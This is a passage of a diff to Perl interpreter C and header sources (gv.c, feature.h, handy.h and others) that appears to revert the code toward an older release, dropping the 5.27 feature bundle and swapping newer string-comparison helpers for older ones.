package re; use strict; use warnings; -our $VERSION = "0.36"; +our $VERSION = "0.34"; our @ISA = qw(Exporter); our @EXPORT_OK = ('regmust', qw(is_regexp regexp_pattern diff --git a/ext/re/re.xs b/ext/re/re.xs index 497135a5daa0..9545d1dba04c 100644 --- a/ext/re/re.xs +++ b/ext/re/re.xs @@ -1,6 +1,5 @@ #if defined(PERL_EXT_RE_DEBUG) && !defined(DEBUGGING) # define DEBUGGING -# define DEBUGGING_RE_ONLY #endif #define PERL_NO_GET_CONTEXT @@ -18,7 +17,7 @@ START_EXTERN_C extern REGEXP* my_re_compile (pTHX_ SV * const pattern, const U32 pm_flags); extern REGEXP* my_re_op_compile (pTHX_ SV ** const patternp, int pat_count, - OP *expr, const regexp_engine* eng, REGEXP *volatile old_re, + OP *expr, const regexp_engine* eng, REGEXP *VOL old_re, bool *is_bare_re, U32 rx_flags, U32 pm_flags); extern I32 my_regexec (pTHX_ REGEXP * const prog, char* stringarg, char* strend, diff --git a/ext/re/re_top.h b/ext/re/re_top.h index 543f924908b1..ce4c716aa54d 100644 --- a/ext/re/re_top.h +++ b/ext/re/re_top.h @@ -5,7 +5,6 @@ /* need access to debugger hooks */ #if defined(PERL_EXT_RE_DEBUG) && !defined(DEBUGGING) # define DEBUGGING -# define DEBUGGING_RE_ONLY #endif /* We *really* need to overwrite these symbols: */ diff --git a/fakesdio.h b/fakesdio.h index b8f972a0a98b..928d37b90a65 100644 --- a/fakesdio.h +++ b/fakesdio.h @@ -1,4 +1,4 @@ -/* fakesdio.h +/* fakestdio.h * * Copyright (C) 2000, by Larry Wall and others * diff --git a/feature.h b/feature.h index 0e15fb5ffbd6..838d64883b59 100644 --- a/feature.h +++ b/feature.h @@ -14,7 +14,6 @@ #define FEATURE_BUNDLE_511 2 #define FEATURE_BUNDLE_515 3 #define FEATURE_BUNDLE_523 4 -#define FEATURE_BUNDLE_527 5 #define FEATURE_BUNDLE_CUSTOM (HINT_FEATURE_MASK >> HINT_FEATURE_SHIFT) #define CURRENT_HINTS \ @@ -34,7 +33,7 @@ #define FEATURE_FC_IS_ENABLED \ ( \ (CURRENT_FEATURE_BUNDLE >= FEATURE_BUNDLE_515 && \ - CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_527) \ + CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_523) \ || (CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_CUSTOM && \ FEATURE_IS_ENABLED("fc")) \ ) @@ -42,7 +41,7 @@ #define FEATURE_SAY_IS_ENABLED \ ( \ (CURRENT_FEATURE_BUNDLE >= FEATURE_BUNDLE_510 && \ - CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_527) \ + CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_523) \ || (CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_CUSTOM && \ FEATURE_IS_ENABLED("say")) \ ) @@ -50,7 +49,7 @@ #define FEATURE_STATE_IS_ENABLED \ ( \ (CURRENT_FEATURE_BUNDLE >= FEATURE_BUNDLE_510 && \ - CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_527) \ + CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_523) \ || (CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_CUSTOM && \ FEATURE_IS_ENABLED("state")) \ ) @@ -58,22 +57,21 @@ #define FEATURE_SWITCH_IS_ENABLED \ ( \ (CURRENT_FEATURE_BUNDLE >= FEATURE_BUNDLE_510 && \ - CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_527) \ + CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_523) \ || (CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_CUSTOM && \ FEATURE_IS_ENABLED("switch")) \ ) #define FEATURE_BITWISE_IS_ENABLED \ ( \ - CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_527 \ - || (CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_CUSTOM && \ - FEATURE_IS_ENABLED("bitwise")) \ + CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_CUSTOM && \ + FEATURE_IS_ENABLED("bitwise") \ ) #define FEATURE_EVALBYTES_IS_ENABLED \ ( \ (CURRENT_FEATURE_BUNDLE >= FEATURE_BUNDLE_515 && \ - CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_527) \ + CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_523) \ || (CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_CUSTOM && \ FEATURE_IS_ENABLED("evalbytes")) \ ) @@ -94,7 +92,7 @@ #define FEATURE___SUB___IS_ENABLED \ ( \ (CURRENT_FEATURE_BUNDLE >= FEATURE_BUNDLE_515 && \ - CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_527) \ + CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_523) \ || (CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_CUSTOM && \ FEATURE_IS_ENABLED("__SUB__")) \ ) @@ -107,8 +105,7 @@ #define FEATURE_POSTDEREF_QQ_IS_ENABLED \ ( \ - (CURRENT_FEATURE_BUNDLE >= FEATURE_BUNDLE_523 && \ - CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_527) \ + CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_523 \ || (CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_CUSTOM && \ FEATURE_IS_ENABLED("postderef_qq")) \ ) @@ -116,7 +113,7 @@ #define FEATURE_UNIEVAL_IS_ENABLED \ ( \ (CURRENT_FEATURE_BUNDLE >= FEATURE_BUNDLE_515 && \ - CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_527) \ + CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_523) \ || (CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_CUSTOM && \ FEATURE_IS_ENABLED("unieval")) \ ) @@ -130,7 +127,7 @@ #define FEATURE_UNICODE_IS_ENABLED \ ( \ (CURRENT_FEATURE_BUNDLE >= FEATURE_BUNDLE_511 && \ - CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_527) \ + CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_523) \ || (CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_CUSTOM && \ FEATURE_IS_ENABLED("unicode")) \ ) @@ -145,9 +142,6 @@ S_enable_feature_bundle(pTHX_ SV *ver) SV *comp_ver = sv_newmortal(); PL_hints = (PL_hints &~ HINT_FEATURE_MASK) | ( - (sv_setnv(comp_ver, 5.027), - vcmp(ver, upg_version(comp_ver, FALSE)) >= 0) - ? FEATURE_BUNDLE_527 : (sv_setnv(comp_ver, 5.023), vcmp(ver, upg_version(comp_ver, FALSE)) >= 0) ? FEATURE_BUNDLE_523 : diff --git a/globvar.sym b/globvar.sym index a91d520306fd..c82dc8f1c8c4 100644 --- a/globvar.sym +++ b/globvar.sym @@ -3,7 +3,6 @@ # *** Usual globals initialized at runtime should be added in *var*.h. PL_No -PL_Zero PL_Yes PL_bincompat_options PL_bitcount diff --git a/gv.c b/gv.c index 085bf7425ea6..8573e6755db5 100644 --- a/gv.c +++ b/gv.c @@ -83,8 +83,8 @@ Perl_gv_add_by_type(pTHX_ GV *gv, svtype type) if (!*where) { *where = newSV_type(type); - if (type == SVt_PVAV - && memEQs(GvNAME(gv), GvNAMELEN(gv), "ISA")) + if (type == SVt_PVAV && GvNAMELEN(gv) == 3 + && strEQs(GvNAME(gv), "ISA")) sv_magic(*where, (SV *)gv, PERL_MAGIC_isa, NULL, 0); } return gv; @@ -373,9 +373,6 @@ Perl_gv_init_pvn(pTHX_ GV *gv, HV *stash, const char *name, STRLEN len, U32 flag const U32 proto_utf8 = proto ? SvUTF8(gv) : 0; SV *const has_constant = doproto && SvROK(gv) ? SvRV(gv) : NULL; const U32 exported_constant = has_constant ? SvPCS_IMPORTED(gv) : 0; - const bool really_sub = - has_constant && SvTYPE(has_constant) == SVt_PVCV; - COP * const old = PL_curcop; PERL_ARGS_ASSERT_GV_INIT_PVN; assert (!(proto && has_constant)); @@ -388,7 +385,6 @@ Perl_gv_init_pvn(pTHX_ GV *gv, HV *stash, const char *name, STRLEN len, U32 flag case SVt_PVIO: Perl_croak(aTHX_ "Cannot convert a reference to %s to typeglob", sv_reftype(has_constant, 0)); - NOT_REACHED; /* NOTREACHED */ break; default: NOOP; @@ -414,19 +410,14 @@ Perl_gv_init_pvn(pTHX_ GV *gv, HV *stash, const char *name, STRLEN len, U32 flag SvIOK_off(gv); isGV_with_GP_on(gv); - if (really_sub && !CvISXSUB(has_constant) && CvSTART(has_constant) - && ( CvSTART(has_constant)->op_type == OP_NEXTSTATE - || CvSTART(has_constant)->op_type == OP_DBSTATE)) - PL_curcop = (COP *)CvSTART(has_constant); GvGP_set(gv, Perl_newGP(aTHX_ gv)); - PL_curcop = old; GvSTASH(gv) = stash; if (stash) Perl_sv_add_backref(aTHX_ MUTABLE_SV(stash), MUTABLE_SV(gv)); gv_name_set(gv, name, len, GV_ADD | ( flags & SVf_UTF8 ? SVf_UTF8 : 0 )); if (flags & GV_ADDMULTI || doproto) /* doproto means it */ GvMULTI_on(gv); /* _was_ mentioned */ - if (really_sub) { + if (has_constant && SvTYPE(has_constant) == SVt_PVCV) { /* Not actually a constant. Just a regular sub. */ CV * const cv = (CV *)has_constant; GvCV_set(gv,cv); @@ -616,12 +607,11 @@ S_maybe_add_coresub(pTHX_ HV * const stash, GV *gv, PL_compcv = oldcompcv; } if (cv) { - SV *opnumsv = newSViv( - (opnum == OP_ENTEREVAL && len == 9 && memEQ(name, "evalbytes", 9)) ? - (OP_ENTEREVAL | (1<<16)) - : opnum ? opnum : (((I32)name[2]) << 16)); - cv_set_call_checker_flags(cv, Perl_ck_entersub_args_core, opnumsv, 0); - SvREFCNT_dec_NN(opnumsv); + SV *opnumsv = opnum ? newSVuv((UV)opnum) : (SV *)NULL; + cv_set_call_checker( + cv, Perl_ck_entersub_args_core, opnumsv ? opnumsv : (SV *)cv + ); + SvREFCNT_dec(opnumsv); } return gv; @@ -647,8 +637,7 @@ Perl_gv_fetchmeth_sv(pTHX_ HV *stash, SV *namesv, I32 level, U32 flags) STRLEN namelen; PERL_ARGS_ASSERT_GV_FETCHMETH_SV; if (LIKELY(SvPOK_nog(namesv))) /* common case */ - return gv_fetchmeth_internal(stash, namesv, NULL, 0, level, - flags | SvUTF8(namesv)); + return gv_fetchmeth_internal(stash, namesv, NULL, 0, level, flags); namepv = SvPV(namesv, namelen); if (SvUTF8(namesv)) flags |= SVf_UTF8; return gv_fetchmeth_pvn(stash, namepv, namelen, level, flags); @@ -780,8 +769,8 @@ S_gv_fetchmeth_internal(pTHX_ HV* stash, SV* meth, const char* name, STRLEN len, return 0; } else if (stash == cachestash - && len > 1 /* shortest is uc */ - && memEQs(hvname, HvNAMELEN_get(stash), "CORE") + && len > 1 /* shortest is uc */ && HvNAMELEN_get(stash) == 4 + && strEQs(hvname, "CORE") && S_maybe_add_coresub(aTHX_ NULL,topgv,name,len)) goto have_gv; } @@ -804,13 +793,11 @@ S_gv_fetchmeth_internal(pTHX_ HV* stash, SV* meth, const char* name, STRLEN len, assert(cstash); - gvp = (GV**)hv_common( - cstash, meth, name, len, is_utf8 ? HVhek_UTF8 : 0, HV_FETCH_JUST_SV, NULL, 0 - ); + gvp = (GV**)hv_fetch(cstash, name, is_utf8 ? -(I32)len : (I32)len, 0); if (!gvp) { if (len > 1 && HvNAMELEN_get(cstash) == 4) { const char *hvname = HvNAME(cstash); assert(hvname); - if (strBEGINs(hvname, "CORE") + if (strEQs(hvname, "CORE") && (candidate = S_maybe_add_coresub(aTHX_ cstash,NULL,name,len) )) @@ -1076,7 +1063,7 @@ Perl_gv_fetchmethod_pvn_flags(pTHX_ HV *stash, const char *name, const STRLEN le origname, HvENAME_get(stash), name) ); } else if ( sep_len >= 7 && - strBEGINs(last_separator - 7, "::SUPER")) { + strEQs(last_separator - 7, "::SUPER")) { /* don't autovifify if ->NoSuchStash::SUPER::method */ stash = gv_stashpvn(origname, sep_len - 7, is_utf8); if (stash) flags |= GV_SUPER; @@ -1093,10 +1080,9 @@ Perl_gv_fetchmethod_pvn_flags(pTHX_ HV *stash, const char *name, const STRLEN le /* This is the special case that exempts Foo->import and Foo->unimport from being an error even if there's no import/unimport subroutine */ - if (strEQ(name,"import") || strEQ(name,"unimport")) { - gv = (GV*)sv_2mortal((SV*)newCONSTSUB_flags(NULL, - NULL, 0, 0, NULL)); - } else if (autoload) + if (strEQ(name,"import") || strEQ(name,"unimport")) + gv = MUTABLE_GV(&PL_sv_yes); + else if (autoload) gv = gv_autoload_pvn( ostash, name, name_end - name, GV_AUTOLOAD_ISMETHOD|flags ); @@ -1223,14 +1209,16 @@ Perl_gv_autoload_pvn(pTHX_ HV *stash, const char *name, STRLEN len, U32 flags) return NULL; /* - * Inheriting AUTOLOAD for non-methods no longer works + * Inheriting AUTOLOAD for non-methods works ... for now. */ if ( !(flags & GV_AUTOLOAD_ISMETHOD) && (GvCVGEN(gv) || GvSTASH(gv) != stash) ) - Perl_croak(aTHX_ "Use of inherited AUTOLOAD for non-method %" SVf - "::%" UTF8f "() is no longer allowed", + Perl_ck_warner_d(aTHX_ packWARN(WARN_DEPRECATED), + "Use of inherited AUTOLOAD for non-method %" SVf + "::%" UTF8f "() is deprecated. This will be " + "fatal in Perl 5.28", SVfARG(packname), UTF8fARG(is_utf8, len, name)); @@ -1274,7 +1262,7 @@ Perl_gv_autoload_pvn(pTHX_ HV *stash, const char *name, STRLEN len, U32 flags) sv_setsv_nomg((SV *)cv, tmpsv); SvTEMP_off(tmpsv); SvREFCNT_dec_NN(tmpsv); - SvLEN_set(cv, SvCUR(cv) + 1); + SvLEN(cv) = SvCUR(cv) + 1; SvCUR(cv) = ulen; } else { @@ -1353,16 +1341,11 @@ S_require_tie_mod(pTHX_ GV *gv, const char varname, const char * name, PUSHSTACKi(PERLSI_MAGIC); ENTER; -#define GET_HV_FETCH_TIE_FUNC \ - ( (gvp = (GV **)hv_fetchs(stash, "_tie_it", 0)) \ - && *gvp \ - && ( (isGV(*gvp) && GvCV(*gvp)) \ - || (SvROK(*gvp) && SvTYPE(SvRV(*gvp)) == SVt_PVCV) ) \ - ) +#define HV_FETCH_TIE_FUNC (GV **)hv_fetchs(stash, "_tie_it", 0) /* Load the module if it is not loaded. */ if (!(stash = gv_stashpvn(name, len, 0)) - || ! GET_HV_FETCH_TIE_FUNC) + || !(gvp = HV_FETCH_TIE_FUNC) || !*gvp || !GvCV(*gvp)) { SV * const module = newSVpvn(name, len); const char type = varname == '[' ? '$' : '%'; @@ -1374,12 +1357,12 @@ S_require_tie_mod(pTHX_ GV *gv, const char varname, const char * name, if (!stash) Perl_croak(aTHX_ "panic: Can't use %c%c because %s is not available", type, varname, name); - else if (! GET_HV_FETCH_TIE_FUNC) + else if (!(gvp = HV_FETCH_TIE_FUNC) || !*gvp || !GvCV(*gvp)) Perl_croak(aTHX_ "panic: Can't use %c%c because %s does not define _tie_it", type, varname, name); } /* Now call the tie function. It should be in *gvp. */ - assert(gvp); assert(*gvp); + assert(gvp); assert(*gvp); assert(GvCV(*gvp)); PUSHMARK(SP); XPUSHs((SV *)gv); PUTBACK; @@ -1612,11 +1595,9 @@ S_parse_gv_stash_name(pTHX_ HV **stash, GV **gv, const char **name, STRLEN *len, const char *nambeg, STRLEN full_len, const U32 is_utf8, const I32 add) { - char *tmpfullbuf = NULL; /* only malloc one big chunk of memory when the smallbuff is not large enough */ const char *name_cursor; const char *const name_end = nambeg + full_len; const char *const name_em1 = name_end - 1; - char smallbuf[64]; /* small buffer to avoid a malloc when possible */ PERL_ARGS_ASSERT_PARSE_GV_STASH_NAME; @@ -1646,17 +1627,9 @@ S_parse_gv_stash_name(pTHX_ HV **stash, GV **gv, const char **name, key = *name; *len += 2; } - else { /* using ' for package separator */ - /* use our pre-allocated buffer when possible to save a malloc */ + else { char *tmpbuf; - if ( *len+2 <= sizeof smallbuf) - tmpbuf = smallbuf; - else { - /* only malloc once if needed */ - if (tmpfullbuf == NULL) /* only malloc&free once, a little more than needed */ - Newx(tmpfullbuf, full_len+2, char); - tmpbuf = tmpfullbuf; - } + Newx(tmpbuf, *len+2, char); Copy(*name, tmpbuf, *len, char); tmpbuf[(*len)++] = ':'; tmpbuf[(*len)++] = ':'; @@ -1664,21 +1637,22 @@ S_parse_gv_stash_name(pTHX_ HV **stash, GV **gv, const char **name, } gvp = (GV**)hv_fetch(*stash, key, is_utf8 ? -((I32)*len) : (I32)*len, add); *gv = gvp ? *gvp : NULL; - if (!*gv || *gv == (const GV *)&PL_sv_undef) { - Safefree(tmpfullbuf); /* free our tmpfullbuf if it was used */ - return FALSE; + if (*gv && *gv != (const GV *)&PL_sv_undef) { + if (SvTYPE(*gv) != SVt_PVGV) + gv_init_pvn(*gv, *stash, key, *len, (add & GV_ADDMULTI)|is_utf8); + else + GvMULTI_on(*gv); } - /* here we know that *gv && *gv != &PL_sv_undef */ - if (SvTYPE(*gv) != SVt_PVGV) - gv_init_pvn(*gv, *stash, key, *len, (add & GV_ADDMULTI)|is_utf8); - else - GvMULTI_on(*gv); + if (key != *name) + Safefree(key); + if (!*gv || *gv == (const GV *)&PL_sv_undef) + return FALSE; if (!(*stash = GvHV(*gv))) { *stash = GvHV(*gv) = newHV(); if (!HvNAME_get(*stash)) { if (GvSTASH(*gv) == PL_defstash && *len == 6 - && strBEGINs(*name, "CORE")) + && strEQs(*name, "CORE")) hv_name_sets(*stash, "CORE", 0); else hv_name_set( @@ -1707,7 +1681,6 @@ S_parse_gv_stash_name(pTHX_ HV **stash, GV **gv, const char **name, MUTABLE_HV(SvREFCNT_inc_simple(PL_defstash)); } } - Safefree(tmpfullbuf); /* free our tmpfullbuf if it was used */ return TRUE; } } @@ -1937,7 +1910,7 @@ S_gv_magicalize(pTHX_ GV *gv, HV *stash, const char *name, STRLEN len, if (len > 1 /* shortest is uc */ && HvNAMELEN_get(stash) == 4) { /* Avoid null warning: */ const char * const stashname = HvNAME(stash); assert(stashname); - if (strBEGINs(stashname, "CORE")) + if (strEQs(stashname, "CORE")) S_maybe_add_coresub(aTHX_ 0, gv, name, len); } } @@ -2023,9 +1996,9 @@ S_gv_magicalize(pTHX_ GV *gv, HV *stash, const char *name, STRLEN len, /* @{^CAPTURE} %{^CAPTURE} */ if (memEQs(name, len, "\003APTURE")) { AV* const av = GvAVn(gv); - const Size_t n = *name; + UV uv= *name; - sv_magic(MUTABLE_SV(av), (SV*)n, PERL_MAGIC_regdata, NULL, 0); + sv_magic(MUTABLE_SV(av), (SV*)uv, PERL_MAGIC_regdata, NULL, 0); SvREADONLY_on(av); if (sv_type == SVt_PVHV || sv_type == SVt_PVGV) @@ -2069,10 +2042,6 @@ S_gv_magicalize(pTHX_ GV *gv, HV *stash, const char *name, STRLEN len, goto storeparen; } break; - case '\023': - if (memEQs(name, len, "\023AFE_LOCALES")) - goto ro_magicalize; - break; case '\024': /* ${^TAINT} */ if (memEQs(name, len, "\024AINT")) goto ro_magicalize; @@ -2195,9 +2164,9 @@ S_gv_magicalize(pTHX_ GV *gv, HV *stash, const char *name, STRLEN len, } { /* @- @+ */ AV* const av = GvAVn(gv); - const Size_t n = *name; + const UV uv = (UV)*name; - sv_magic(MUTABLE_SV(av), (SV*)n, PERL_MAGIC_regdata, NULL, 0); + sv_magic(MUTABLE_SV(av), (SV*)uv, PERL_MAGIC_regdata, NULL, 0); SvREADONLY_on(av); } break; @@ -2417,8 +2386,8 @@ Perl_gv_fetchpvn_flags(pTHX_ const char *nambeg, STRLEN full_len, I32 flags, if (len == 1 && stash == PL_defstash) { maybe_multimagic_gv(gv, name, sv_type); } - else if (sv_type == SVt_PVAV - && memEQs(name, len, "ISA") + else if (len == 3 && sv_type == SVt_PVAV + && strEQs(name, "ISA") && (!GvAV(gv) || !SvSMAGICAL(GvAV(gv)))) gv_magicalize_isa(gv); } @@ -2494,7 +2463,7 @@ Perl_gv_fullname4(pTHX_ SV *sv, const GV *gv, const char *prefix, bool keepmain) if (hv && (name = HvNAME(hv))) { const STRLEN len = HvNAMELEN(hv); - if (keepmain || ! memBEGINs(name, len, "main")) { + if (keepmain || strnNE(name, "main", len)) { sv_catpvn_flags(sv,name,len,HvNAMEUTF8(hv)?SV_CATUTF8:SV_CATBYTES); sv_catpvs(sv,"::"); } @@ -2820,12 +2789,13 @@ Perl_Gv_AMupdate(pTHX_ HV *stash, bool destructing) gv = Perl_gv_fetchmeth_pvn(aTHX_ stash, cooky, l, -1, 0); cv = 0; if (gv && (cv = GvCV(gv)) && CvHASGV(cv)) { - const HEK * const gvhek = CvGvNAME_HEK(cv); + const HEK * const gvhek = + CvNAMED(cv) ? CvNAME_HEK(cv) : GvNAME_HEK(CvGV(cv)); const HEK * const stashek = HvNAME_HEK(CvNAMED(cv) ? CvSTASH(cv) : GvSTASH(CvGV(cv))); - if (memEQs(HEK_KEY(gvhek), HEK_LEN(gvhek), "nil") - && stashek - && memEQs(HEK_KEY(stashek), HEK_LEN(stashek), "overload")) { + if (HEK_LEN(gvhek) == 3 && strEQ(HEK_KEY(gvhek), "nil") + && stashek && HEK_LEN(stashek) == 8 + && strEQ(HEK_KEY(stashek), "overload")) { /* This is a hack to support autoloading..., while knowing *which* methods were declared as overloaded. */ /* GvSV contains the name of the method. */ @@ -3211,11 +3181,11 @@ Perl_amagic_call(pTHX_ SV *left, SV *right, int method, int flags) case abs_amg: if ((cvp[off1=lt_amg] || cvp[off1=ncmp_amg]) && ((cv = cvp[off=neg_amg]) || (cv = cvp[off=subtr_amg]))) { - SV* const nullsv=&PL_sv_zero; + SV* const nullsv=sv_2mortal(newSViv(0)); if (off1==lt_amg) { SV* const lessp = amagic_call(left,nullsv, lt_amg,AMGf_noright); - logic = SvTRUE_NN(lessp); + logic = SvTRUE(lessp); } else { SV* const lessp = amagic_call(left,nullsv, ncmp_amg,AMGf_noright); @@ -3235,7 +3205,7 @@ Perl_amagic_call(pTHX_ SV *left, SV *right, int method, int flags) case neg_amg: if ((cv = cvp[off=subtr_amg])) { right = left; - left = &PL_sv_zero; + left = sv_2mortal(newSViv(0)); lr = 1; } break; @@ -3483,12 +3453,7 @@ Perl_amagic_call(pTHX_ SV *left, SV *right, int method, int flags) SV* res; const bool oldcatch = CATCH_GET; I32 oldmark, nret; - /* for multiconcat, we may call overload several times, - * with the context of individual concats being scalar, - * regardless of the overall context of the multiconcat op - */ - U8 gimme = (force_scalar || PL_op->op_type == OP_MULTICONCAT) - ? G_SCALAR : GIMME_V; + U8 gimme = force_scalar ? G_SCALAR : GIMME_V; CATCH_SET(TRUE); Zero(&myop, 1, BINOP); @@ -3549,7 +3514,7 @@ Perl_amagic_call(pTHX_ SV *left, SV *right, int method, int flags) res = &PL_sv_undef; SP = PL_stack_base + oldmark; break; - case G_ARRAY: + case G_ARRAY: { if (flags & AMGf_want_list) { res = sv_2mortal((SV *)newAV()); av_extend((AV *)res, nret); @@ -3558,6 +3523,7 @@ Perl_amagic_call(pTHX_ SV *left, SV *right, int method, int flags) break; } /* FALLTHROUGH */ + } default: res = POPs; break; @@ -3592,7 +3558,7 @@ Perl_amagic_call(pTHX_ SV *left, SV *right, int method, int flags) case dec_amg: SvSetSV(left,res); return left; case not_amg: - ans=!SvTRUE_NN(res); break; + ans=!SvTRUE(res); break; default: ans=0; break; } diff --git a/handy.h b/handy.h index 1f7ab8482c3f..80f9cf4b7648 100644 --- a/handy.h +++ b/handy.h @@ -11,8 +11,15 @@ /* IMPORTANT NOTE: Everything whose name begins with an underscore is for * internal core Perl use only. */ -#ifndef PERL_HANDY_H_ /* Guard against nested #inclusion */ -#define PERL_HANDY_H_ +#ifndef HANDY_H /* Guard against nested #inclusion */ +#define HANDY_H + +#if !defined(__STDC__) +#ifdef NULL +#undef NULL +#endif +# define NULL 0 +#endif #ifndef PERL_CORE # define Null(type) ((type)NULL) @@ -109,11 +116,13 @@ Null SV pointer. (No longer available when C is defined.) * XXX Similarly, a Configure probe for __FILE__ and __LINE__ is needed. */ #if (defined(__STDC_VERSION__) && __STDC_VERSION__ >= 199901L) || (defined(__SUNPRO_C)) /* C99 or close enough. */ # define FUNCTION__ __func__ -#elif (defined(USING_MSVC6)) || /* MSVC6 has neither __func__ nor __FUNCTION and no good workarounds, either. */ \ - (defined(__DECC_VER)) /* Tru64 or VMS, and strict C89 being used, but not modern enough cc (in Tur64, -c99 not known, only -std1). */ -# define FUNCTION__ "" #else -# define FUNCTION__ __FUNCTION__ /* Common extension. */ +# if (defined(USING_MSVC6)) || /* MSVC6 has neither __func__ nor __FUNCTION and no good workarounds, either. */ \ + (defined(__DECC_VER)) /* Tru64 or VMS, and strict C89 being used, but not modern enough cc (in Tur64, -c99 not known, only -std1). */ +# define FUNCTION__ "" +# else +# define FUNCTION__ __FUNCTION__ /* Common extension. */ +# endif #endif /* XXX A note on the perl source internal type system. The @@ -165,11 +174,54 @@ typedef U16TYPE U16; typedef I32TYPE I32; typedef U32TYPE U32; -#ifdef QUADKIND +#ifdef HAS_QUAD typedef I64TYPE I64; typedef U64TYPE U64; #endif +/* INT64_C/UINT64_C are C99 from (so they will not be + * available in strict C89 mode), but they are nice, so let's define + * them if necessary. */ +#if defined(HAS_QUAD) +# undef PeRl_INT64_C +# undef PeRl_UINT64_C +/* Prefer the native integer types (int and long) over long long + * (which is not C89) and Win32-specific __int64. */ +# if QUADKIND == QUAD_IS_INT && INTSIZE == 8 +# define PeRl_INT64_C(c) (c) +# define PeRl_UINT64_C(c) CAT2(c,U) +# endif +# if QUADKIND == QUAD_IS_LONG && LONGSIZE == 8 +# define PeRl_INT64_C(c) CAT2(c,L) +# define PeRl_UINT64_C(c) CAT2(c,UL) +# endif +# if QUADKIND == QUAD_IS_LONG_LONG && defined(HAS_LONG_LONG) +# define PeRl_INT64_C(c) CAT2(c,LL) +# define PeRl_UINT64_C(c) CAT2(c,ULL) +# endif +# if QUADKIND == QUAD_IS___INT64 +# define PeRl_INT64_C(c) CAT2(c,I64) +# define PeRl_UINT64_C(c) CAT2(c,UI64) +# endif +# ifndef PeRl_INT64_C +# define PeRl_INT64_C(c) ((I64)(c)) /* last resort */ +# define PeRl_UINT64_C(c) ((U64)(c)) +# endif +/* In OS X the INT64_C/UINT64_C are defined with LL/ULL, which will + * not fly with C89-pedantic gcc, so let's undefine them first so that + * we can redefine them with our native integer preferring versions. */ +# if defined(PERL_DARWIN) && defined(PERL_GCC_PEDANTIC) +# undef INT64_C +# undef UINT64_C +# endif +# ifndef INT64_C +# define INT64_C(c) PeRl_INT64_C(c) +# endif +# ifndef UINT64_C +# define UINT64_C(c) PeRl_UINT64_C(c) +# endif +#endif + #if defined(UINT8_MAX) && defined(INT16_MAX) && defined(INT32_MAX) /* I8_MAX and I8_MIN constants are not defined, as I8 is an ambiguous type. @@ -217,29 +269,8 @@ typedef U64TYPE U64; #endif -/* These C99 typedefs are useful sometimes for, say, loop variables whose - * maximum values are small, but for which speed trumps size. If we have a C99 - * compiler, use that. Otherwise, a plain 'int' should be good enough. - * - * Restrict these to core for now until we are more certain this is a good - * idea. */ -#if defined(PERL_CORE) || defined(PERL_EXT) -# ifdef I_STDINT - typedef int_fast8_t PERL_INT_FAST8_T; - typedef uint_fast8_t PERL_UINT_FAST8_T; - typedef int_fast16_t PERL_INT_FAST16_T; - typedef uint_fast16_t PERL_UINT_FAST16_T; -# else - typedef int PERL_INT_FAST8_T; - typedef unsigned int PERL_UINT_FAST8_T; - typedef int PERL_INT_FAST16_T; - typedef unsigned int PERL_UINT_FAST16_T; -# endif -#endif - -/* log(2) (i.e., log base 10 of 2) is pretty close to 0.30103, just in case - * anyone is grepping for it */ -#define BIT_DIGITS(N) (((N)*146)/485 + 1) /* log10(2) =~ 146/485 */ +/* log(2) is pretty close to 0.30103, just in case anyone is grepping for it */ +#define BIT_DIGITS(N) (((N)*146)/485 + 1) /* log2(10) =~ 146/485 */ #define TYPE_DIGITS(T) BIT_DIGITS(sizeof(T) * 8) #define TYPE_CHARS(T) (TYPE_DIGITS(T) + 2) /* sign, NUL */ @@ -273,78 +304,78 @@ typedef U64TYPE U64; /* =head1 SV-Body Allocation -=for apidoc Ama|SV*|newSVpvs|"literal string" s -Like C, but takes a literal string instead of a +=for apidoc Ama|SV*|newSVpvs|const char* s +Like C, but takes a C-terminated literal string instead of a string/length pair. -=for apidoc Ama|SV*|newSVpvs_flags|"literal string" s|U32 flags -Like C, but takes a literal string instead of +=for apidoc Ama|SV*|newSVpvs_flags|const char* s|U32 flags +Like C, but takes a C-terminated literal string instead of a string/length pair. -=for apidoc Ama|SV*|newSVpvs_share|"literal string" s -Like C, but takes a literal string instead of +=for apidoc Ama|SV*|newSVpvs_share|const char* s +Like C, but takes a C-terminated literal string instead of a string/length pair and omits the hash parameter. -=for apidoc Am|void|sv_catpvs_flags|SV* sv|"literal string" s|I32 flags -Like C, but takes a literal string instead +=for apidoc Am|void|sv_catpvs_flags|SV* sv|const char* s|I32 flags +Like C, but takes a C-terminated literal string instead of a string/length pair. -=for apidoc Am|void|sv_catpvs_nomg|SV* sv|"literal string" s -Like C, but takes a literal string instead of +=for apidoc Am|void|sv_catpvs_nomg|SV* sv|const char* s +Like C, but takes a C-terminated literal string instead of a string/length pair. -=for apidoc Am|void|sv_catpvs|SV* sv|"literal string" s -Like C, but takes a literal string instead of a +=for apidoc Am|void|sv_catpvs|SV* sv|const char* s +Like C, but takes a C-terminated literal string instead of a string/length pair. -=for apidoc Am|void|sv_catpvs_mg|SV* sv|"literal string" s -Like C, but takes 